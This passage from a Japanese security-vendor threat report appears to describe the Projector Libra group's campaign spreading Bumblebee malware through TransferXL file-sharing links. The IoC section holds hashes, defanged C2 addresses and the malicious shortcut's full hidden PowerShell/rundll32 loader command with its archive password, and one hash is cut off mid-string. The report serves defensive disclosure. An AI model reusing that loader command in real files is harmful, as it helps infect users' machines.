Libra\u3092\u306f\u3058\u3081\u3068\u3059\u308b\u8105\u5a01\u30a2\u30af\u30bf\u30fc\u306b\u3088\u3063\u3066\u62e1\u6563\u3055\u308c\u3066\u3044\u307e\u3059\u3002Projector Libra\u306f\u3001TransferXL\u306a\u3069\u306e\u30d5\u30a1\u30a4\u30eb\u5171\u6709\u30b5\u30fc\u30d3\u30b9\u3092\u4f7f\u3063\u3066\u30de\u30eb\u30a6\u30a7\u30a2\u3092\u9001\u4fe1\u3059\u308b\u524d\u306b\u3001\u88ab\u5bb3\u8005\u30e1\u30fc\u30eb\u3068\u3084\u308a\u3068\u308a\u3059\u308b\u9ad8\u5ea6\u306a\u30ad\u30e3\u30f3\u30da\u30fc\u30f3\u3092\u5c55\u958b\u3057\u307e\u3059\u3002<\/p>\n \u73fe\u5728\u3001Projector Libra\u306e\u30de\u30eb\u30a6\u30a7\u30a2\u306f\u3001Bumblebee\u30de\u30eb\u30a6\u30a7\u30a2\u3092\u30a4\u30f3\u30b9\u30c8\u30fc\u30eb\u3059\u308b\u305f\u3081\u306eWindows\u30b7\u30e7\u30fc\u30c8\u30ab\u30c3\u30c8\u3068\u96a0\u3057\u30d5\u30a1\u30a4\u30eb\u3092\u542b\u3080ISO\u30a4\u30e1\u30fc\u30b8\u3067\u69cb\u6210\u3055\u308c\u3066\u3044\u307e\u3059\u3002Bumblebee\u306f\u3001Windows\u30db\u30b9\u30c8\u306b\u611f\u67d3\u3059\u308b\u3053\u3068\u3092\u76ee\u7684\u3068\u3057\u3066\u3044\u307e\u3059\u3002AD\u74b0\u5883\u3067\u306fCobalt Strike\u611f\u67d3\u3078\u767a\u5c55\u3059\u308b\u3053\u3068\u304c\u591a\u304f\u3001\u305d\u3053\u304b\u3089\u3088\u308a\u6df1\u523b\u306a\u30e9\u30f3\u30b5\u30e0\u30a6\u30a7\u30a2\u611f\u67d3\u306b\u3064\u306a\u304c\u308b\u304a\u305d\u308c\u304c\u3042\u308a\u307e\u3059\u3002<\/p>\n \u672c\u30b1\u30fc\u30b9\u30b9\u30bf\u30c7\u30a3\u306f\u3001Projector Libra\u306eBumblebee\u30de\u30eb\u30a6\u30a7\u30a2\u304c\u88ab\u5bb3\u8005\u76ee\u7dda\u3067\u3069\u306e\u3088\u3046\u306b\u898b\u3048\u308b\u306e\u304b\u3092\u793a\u3057\u3066\u304a\u308a\u3001\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u62c5\u5f53\u8005\u304c\u3053\u306e\u8105\u5a01\u3092\u3088\u308a\u6df1\u304f\u7406\u89e3\u3057\u3001\u7d44\u7e54\u3092\u5b88\u308b\u3046\u3048\u3067\u5f79\u7acb\u3064\u3053\u3068\u3067\u3057\u3087\u3046\u3002<\/p>\n Windows\u30e6\u30fc\u30b6\u30fc\u306f\u3001\u30b9\u30d1\u30e0\u30d5\u30a3\u30eb\u30bf\u30ea\u30f3\u30b0\u3068\u9069\u5207\u306a\u30b7\u30b9\u30c6\u30e0\u7ba1\u7406\u3001\u305d\u3057\u3066\u30bd\u30d5\u30c8\u30a6\u30a7\u30a2\u306b\u30d1\u30c3\u30c1\u3092\u9069\u7528\u3057\u3066\u6700\u65b0\u306e\u72b6\u614b\u3092\u4fdd\u3064\u3088\u3046\u306b\u3059\u308b\u3053\u3068\u3067\u3001Bumblebee\u30de\u30eb\u30a6\u30a7\u30a2\u306e\u30ea\u30b9\u30af\u3092\u9632\u6b62\u3067\u304d\u307e\u3059\u3002\u307e\u305f\u30d1\u30ed\u30a2\u30eb\u30c8\u30cd\u30c3\u30c8\u30ef\u30fc\u30af\u30b9\u306e\u304a\u5ba2\u69d8\u306f\u3001Cortex XDR<\/a>\u3068\u6b21\u4e16\u4ee3\u30d5\u30a1\u30a4\u30a2\u30a6\u30a9\u30fc\u30eb<\/a>\u3092WildFire<\/a>\u3084\u8105\u5a01\u9632\u5fa1<\/a>\u30b5\u30d6\u30b9\u30af\u30ea\u30d7\u30b7\u30e7\u30f3\u3068\u7d44\u307f\u5408\u308f\u305b\u308b\u3053\u3068\u3067Bumblebee\u306b\u5bfe\u3059\u308b\u3055\u3089\u306a\u308b\u4fdd\u8b77\u304c\u5f97\u3089\u308c\u307e\u3059\u3002<\/p>\n \u4fb5\u5bb3\u306e\u61f8\u5ff5\u304c\u3042\u308a\u5f0a\u793e\u306b\u30a4\u30f3\u30b7\u30c7\u30f3\u30c8\u30ec\u30b9\u30dd\u30f3\u30b9\u306b\u95a2\u3059\u308b\u3054\u76f8\u8ac7\u3092\u306a\u3055\u308a\u305f\u3044\u5834\u5408\u306f\u3001infojapan@paloaltonetworks.com<\/a> \u307e\u3067\u30e1\u30fc\u30eb\u306b\u3066\u3054\u9023\u7d61\u3044\u305f\u3060\u304f\u304b\u3001\u4e0b\u8a18\u306e\u96fb\u8a71\u756a\u53f7\u307e\u3067\u304a\u554f\u3044\u5408\u308f\u305b\u304f\u3060\u3055\u3044(\u3054\u76f8\u8ac7\u306f\u5f0a\u793e\u88fd\u54c1\u306e\u304a\u5ba2\u69d8\u306b\u306f\u9650\u5b9a\u3055\u308c\u307e\u305b\u3093)\u3002<\/p>\n \u30d1\u30ed\u30a2\u30eb\u30c8\u30cd\u30c3\u30c8\u30ef\u30fc\u30af\u30b9\u306f\u30d5\u30a1\u30a4\u30eb\u30b5\u30f3\u30d7\u30eb\u3084\u4fb5\u5bb3\u306e\u5146\u5019\u306a\u3069\u3092\u542b\u3080\u3053\u308c\u3089\u306e\u8abf\u67fb\u7d50\u679c\u3092Cyber Threat Alliance (CTA \u30b5\u30a4\u30d0\u30fc\u8105\u5a01\u30a2\u30e9\u30a4\u30a2\u30f3\u30b9)\u306e\u30e1\u30f3\u30d0\u30fc\u3068\u5171\u6709\u3057\u307e\u3057\u305f\u3002CTA\u306e\u30e1\u30f3\u30d0\u30fc\u306f\u3053\u306e\u30a4\u30f3\u30c6\u30ea\u30b8\u30a7\u30f3\u30b9\u3092\u4f7f\u7528\u3057\u3066\u3001\u304a\u5ba2\u69d8\u306b\u4fdd\u8b77\u3092\u8fc5\u901f\u306b\u63d0\u4f9b\u3057\u3001\u60aa\u610f\u306e\u3042\u308b\u30b5\u30a4\u30d0\u30fc\u653b\u6483\u8005\u3092\u4f53\u7cfb\u7684\u306b\u963b\u5bb3\u3059\u308b\u3053\u3068\u304c\u3067\u304d\u307e\u3059\u3002\u8a73\u7d30\u306b\u3064\u3044\u3066\u306f Cyber Threat Alliance <\/a>\u304b\u3089\u3054\u89a7\u304f\u3060\u3055\u3044\uff61<\/p>\n TransferXL\u306e\u30e1\u30fc\u30eb\u306e\u30ea\u30f3\u30af\u304b\u3089\u30c0\u30a6\u30f3\u30ed\u30fc\u30c9\u3055\u308c\u305f\u60aa\u610f\u306e\u3042\u308bZIP\u30a2\u30fc\u30ab\u30a4\u30d6:<\/strong><\/p>\n SHA256\u30cf\u30c3\u30b7\u30e5: 58b9a5202a3cc96e86e24cd3c4b797d2efbf7d6b52461eef89b045aa1ff6c6ae<\/span> \u4e0a\u8a18\u306ezip\u30a2\u30fc\u30ab\u30a4\u30d6\u304b\u3089\u62bd\u51fa\u3055\u308c\u305fISO\u30a4\u30e1\u30fc\u30b8:<\/strong><\/p>\n SHA256\u30cf\u30c3\u30b7\u30e5: 9be296fc9b23ad6aed19934123db9c3a2406d544156b7768374e0f9a75eb1549<\/span> \u4e0a\u8a18\u306eISO\u30a4\u30e1\u30fc\u30b8\u306e\u5185\u5bb9:<\/strong><\/p>\n SHA256\u30cf\u30c3\u30b7\u30e5: a10291506b884327307ae6d97dd6c043e9f2b6283ca3889dc2f5936fb2357862<\/span> SHA256\u30cf\u30c3\u30b7\u30e5: c136b1467d669a725478a6110ebaaab3cb88a3d389dfa688e06173c066b76fcf<\/span> SHA256\u30cf\u30c3\u30b7\u30e5: e62b9513784ae339351de089dd356742aa1c95971ad8c0cf126f4e72131df96e<\/span> SHA256\u30cf\u30c3\u30b7\u30e5: 024d048f8ce81e8784215dc6cf0e17 Bumblebee\u306eC2\u30c8\u30e9\u30d5\u30a3\u30c3\u30af:<\/strong><\/p>\n 54.38.139[.]20:443<\/span> - HTTPS\u30c8\u30e9\u30d5\u30a3\u30c3\u30af<\/p>\n Cobalt Strike\u306eC2\u30c8\u30e9\u30d5\u30a3\u30c3\u30af:<\/strong><\/p>\n 45.153.243[.]142:443<\/span> - fuvataren[.]com<\/span> - HTTPS\u30c8\u30e9\u30d5\u30a3\u30c3\u30af<\/p>\n Bumblebee\u30de\u30eb\u30a6\u30a7\u30a2\u306b\u95a2\u3059\u308b\u8ffd\u52a0\u60c5\u5831:<\/strong><\/p>\n New Bumblebee malware replaces Conti's BazarLoader in cyberattacks<\/a> - BleepingComputer Projector Libra\u306e\u6d3b\u52d5\u306b\u95a2\u3059\u308b\u8ffd\u52a0\u60c5\u5831:<\/strong><\/p>\n Exposing initial access broker with ties to Conti<\/a> - Threat Analysis Group (TAG) 2022-08-10 16:30 JST \u82f1\u8a9e\u7248\u66f4\u65b0\u65e5 2022-08-03 19:30 PDT \u306e\u5185\u5bb9\u3092\u53cd\u6620\u00a0<\/em><\/p>\n","protected":false},"excerpt":{"rendered":" \u6982\u8981 Bumblebee\u30de\u30eb\u30a6\u30a7\u30a2\u3092\u62e1\u6563\u3059\u308b\u8105\u5a01\u30a2\u30af\u30bf\u30fc\u30b0\u30eb\u30fc\u30d7Projector Libra\u306f\u3001EXOTIC LILY\u3068\u3082\u547c\u3070\u308c\u3001\u6a19\u7684\u7d44\u7e54\u3068\u30e1\u30fc\u30eb\u3067\u76f4\u63a5\u3084\u308a\u3068\u308a\u3057\u305f\u5f8c\u3001\u30d5\u30a1\u30a4\u30eb\u5171\u6709\u30b5\u30fc\u30d3\u30b9\u3092\u5229\u7528\u3057\u3066\u30de\u30eb\u30a6\u30a7\u30a2\u3092\u62e1\u6563\u3059\u308b<\/p>\n","protected":false},"author":35,"featured_media":134228,"comment_status":"open","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"inline_featured_image":false,"footnotes":""},"categories":[4322,3057,4431],"tags":[5349,5535,4899,5353,5431,4519,5536],"product_categories":[4346,4442,4444,4448,4456,4465],"coauthors":[485],"class_list":["post-124401","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-threat-actor-groups","category-ransomware-ja","category-threat-actor-groups-ja","tag-bazarloader-ja","tag-bumblebee-ja","tag-cobalt-strike-ja","tag-conti-ransomware-ja","tag-malware-prevention-ja","tag-phishing-ja","tag-projector-libra","product_categories-advanced-threat-prevention","product_categories-advanced-threat-prevention-ja","product_categories-advanced-wildfire-ja","product_categories-cortex-xdr-ja","product_categories-next-generation-firewall-ja","product_categories-unit-42-incident-response-ja"],"yoast_head":"\n<\/a>\u8105\u5a01\u30a2\u30af\u30bf\u30fc\u300cProjector Libra\u300d\u306e\u624b\u53e3<\/h2>\n
![\"Projector](\"https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2022\/08\/word-image-ja.png\")
<\/a>\u30e1\u30fc\u30eb\u30e1\u30c3\u30bb\u30fc\u30b8\u306e\u4f8b<\/h2>\n
![\"2022\u5e745\u67085\u65e5\u306bProjector](\"https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2022\/08\/word-image-1.jpeg\")
![\"\u88ab\u5bb3\u8005\u30e1\u30fc\u30eb\u304b\u3089\u56f32\u306b\u793a\u3057\u305f\u30e1\u30fc\u30eb\u3078\u306e\u8fd4\u4fe1\u3092\u53d7\u3051\u53d6\u308b\u3068\u3001Projector](\"https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2022\/08\/word-image-2.jpeg\")
![\"Projector](\"https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2022\/08\/word-image-3.jpeg\")
<\/a>\u30de\u30eb\u30a6\u30a7\u30a2\u3068\u611f\u67d3\u5f8c\u306e\u30c8\u30e9\u30d5\u30a3\u30c3\u30af<\/h2>\n
![\"\u3053\u306e\u30b9\u30af\u30ea\u30fc\u30f3\u30b7\u30e7\u30c3\u30c8\u306f\u3001\u672c\u30b1\u30fc\u30b9\u30b9\u30bf\u30c7\u30a3\u306eTransferXL\u306eURL\u304cWeb\u30d6\u30e9\u30a6\u30b6\u3067\u958b\u304b\u308c\u3001Projector](\"https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2022\/08\/word-image-4.jpeg\")
![\"\u3053\u306e\u56f3\u306f\u3001\u30de\u30eb\u30a6\u30a7\u30a2\u304c\u542b\u307e\u308c\u305fzip\u5f62\u5f0f\u306e\u30d5\u30a9\u30eb\u30c0\u304b\u3089\u3001ISO\u30d5\u30a1\u30a4\u30eb\u3001\u305d\u3057\u3066ISO\u306e\u5185\u5bb9(Windows](\"https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2022\/08\/word-image-5-ja.png\")
![\"\u62bd\u51fa\u3057\u305fBumblebee\u306eDLL\u30d5\u30a1\u30a4\u30eb\u306fC:\\ProgramData\\19a.dll\u306b\u4fdd\u5b58\u3055\u308c\u307e\u3059\u3002\u3053\u306e\u56f3\u3067\u306f\u3001Bumblebee\u306eDLL\u30d5\u30a1\u30a4\u30eb\u304c\u5927\u304d\u306a\u8d64\u3044\u77e2\u5370\u3067\u793a\u3055\u308c\u3066\u3044\u307e\u3059\u3002](\"https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2022\/08\/word-image-6.jpeg\")
![\"Wireshark\u3067\u30d5\u30a3\u30eb\u30bf\u30ea\u30f3\u30b0\u3057\u305f\u611f\u67d3\u30c8\u30e9\u30d5\u30a3\u30c3\u30af](\"https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2022\/08\/word-image-7.jpeg\")
![\"\u611f\u67d3\u6642\u306b\u78ba\u8a8d\u3055\u308c\u305fCobalt](\"https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2022\/08\/word-image-8.jpeg\")
\n
<\/a>\u7d50\u8ad6<\/h2>\n
\n
<\/a>IoC<\/h2>\n
\n\u30d5\u30a1\u30a4\u30eb\u30b5\u30a4\u30ba: 1,002,214\u30d0\u30a4\u30c8
\n\u30d5\u30a1\u30a4\u30eb\u306e\u5834\u6240: hxxps:\/\/www.transferxl[.]com\/download\/00jJFzX0NZqb7p?utm_source=downloadmail&utm_medium=e-mail<\/span>
\n\u6ce8\u8a18: \u3053\u306e\u30d5\u30a1\u30a4\u30eb\u306f2022\u5e745\u670826\u65e5\u307e\u3067\u63d0\u4f9b\u3055\u308c\u3066\u3044\u307e\u3057\u305f\u304c\u3001\u305d\u306e\u5f8c\u30d5\u30a1\u30a4\u30eb\u5171\u6709\u30b5\u30fc\u30d3\u30b9\u306b\u3088\u3063\u3066\u81ea\u52d5\u7684\u306b\u524a\u9664\u3055\u308c\u307e\u3057\u305f\u3002<\/p>\n
\n\u30d5\u30a1\u30a4\u30eb\u30b5\u30a4\u30ba: 1,333,248\u30d0\u30a4\u30c8
\n\u30d5\u30a1\u30a4\u30eb\u540d: SOW_2.iso<\/span><\/p>\n
\n\u30d5\u30a1\u30a4\u30eb\u30b5\u30a4\u30ba: 1,604\u30d0\u30a4\u30c8
\n\u30d5\u30a1\u30a4\u30eb\u540d: Attachments.lnk<\/span>
\n\u30d5\u30a1\u30a4\u30eb\u306e\u8aac\u660e: ISO\u30a4\u30e1\u30fc\u30b8\u306b\u542b\u307e\u308c\u308bWindows\u30b7\u30e7\u30fc\u30c8\u30ab\u30c3\u30c8
\n\u30b7\u30e7\u30fc\u30c8\u30ab\u30c3\u30c8: C:\\Windows\\System32\\cmd.exe \/c powershell -WindowStyle Hidden -Command \".\\7za.exe x archive.7z -pFhu$$57csa -o\\\"c:\\programdata\\\" -y > $null; rundll32 c:\\programdata\\19a.dll,oxgdXPSGPw<\/span><\/p>\n
\n\u30d5\u30a1\u30a4\u30eb\u30b5\u30a4\u30ba: 643,147\u30d0\u30a4\u30c8
\n\u30d5\u30a1\u30a4\u30eb\u540d: 7za.exe<\/span>
\n\u30d5\u30a1\u30a4\u30eb\u306e\u8aac\u660e: ISO\u30a4\u30e1\u30fc\u30b8\u306b\u542b\u307e\u308c\u308b7-Zip\u30b9\u30bf\u30f3\u30c9\u30a2\u30ed\u30f3\u30b3\u30f3\u30bd\u30fc\u30eb\u306e\u30b3\u30d4\u30fc(\u6709\u5bb3\u3067\u306a\u3044)<\/p>\n
\n\u30d5\u30a1\u30a4\u30eb\u30b5\u30a4\u30ba: 690,970\u30d0\u30a4\u30c8
\n\u30d5\u30a1\u30a4\u30eb\u540d: archive.7z<\/span>
\n\u30d5\u30a1\u30a4\u30eb\u306e\u8aac\u660e: \u30d1\u30b9\u30ef\u30fc\u30c9\u3067\u4fdd\u8b77\u3055\u308c\u305f7-Zip\u30a2\u30fc\u30ab\u30a4\u30d6\u3067\u3042\u308a\u3001Bumblebee\u30de\u30eb\u30a6\u30a7\u30a2\u306eDLL\u30d5\u30a1\u30a4\u30eb\u3092\u542b\u3080
\n\u30d1\u30b9\u30ef\u30fc\u30c9: Fhu$$57csa<\/span><\/p>\n
\n\u30d5\u30a1\u30a4\u30eb\u30b5\u30a4\u30ba: 1,174,016\u30d0\u30a4\u30c8
\n\u30d5\u30a1\u30a4\u30eb\u306e\u5834\u6240: C:\\ProgramData\\19a.dll<\/span>
\n\u30d5\u30a1\u30a4\u30eb\u306e\u8aac\u660e: 7-Zip\u30a2\u30fc\u30ab\u30a4\u30d6\u304b\u3089\u62bd\u51fa\u3055\u308c\u305fBumblebee\u30de\u30eb\u30a6\u30a7\u30a2\u306e64\u30d3\u30c3\u30c8\u7248DLL\u30d5\u30a1\u30a4\u30eb
\n\u5b9f\u884c\u65b9\u6cd5: rundll32.exe<\/span> [filename]<\/em>, oxgdXPSGPw<\/span><\/p>\n<\/a>\u8ffd\u52a0\u30ea\u30bd\u30fc\u30b9<\/h2>\n
\nAdventures in the land of BumbleBee \u2013 a new malicious loader<\/a> - NCC Group
\nThis isn't Optimus Prime's Bumblebee but it's Still Transforming<\/a> - Proofpoint
\nThe chronicles of Bumblebee: The Hook, the Bee, and the Trickbot connection<\/a> - Eli Salem\u6c0f\u306e\u30d6\u30ed\u30b0\u8a18\u4e8b
\n2022-04-05 - Cobalt Strike from Bumblebee infection<\/a> - @Unit42_Intel\u306b\u3088\u308bTwitter\u6295\u7a3f
\n2022-05-03 - Cobalt Strike from Bumblebee infection<\/a> - @Unit42_Intel\u306b\u3088\u308bTwitter\u6295\u7a3f
\n2022-05-31 - Cobalt Strike from Bumblebee infection<\/a> - @Unit42_Intel\u306b\u3088\u308bTwitter\u6295\u7a3f
\n2022-06-09 - Cobalt Strike from Bumblebee infection<\/a> - @Unit42_Intel\u306b\u3088\u308bTwitter\u6295\u7a3f
\n2022-06-14 - Cobalt Strike from Bumblebee infection<\/a> - @Unit42_Intel\u306b\u3088\u308bTwitter\u6295\u7a3f<\/p>\n
\nBumblebee Malware from TransferXL URLs<\/a> - Internet Storm Center
\nEXOTIC LILY activity pushing Bumblebee on 2022-03-28<\/a> - @BushidoToken\u306b\u3088\u308bTwitter\u6295\u7a3f
\nBumblebee activity on 2022-05-11<\/a> - @k3dg3\u306b\u3088\u308bTwitter\u6295\u7a3f
\nBumblebee activity on 2022-05-16<\/a> - @k3dg3\u306b\u3088\u308bTwitter\u6295\u7a3f
\nBumblebee activity on 2022-05-24<\/a> - @k3dg3\u306b\u3088\u308bTwitter\u6295\u7a3f
\nBumblebee activity on 2022-06-14<\/a> - @k3dg3\u306b\u3088\u308bTwitter\u6295\u7a3f<\/p>\n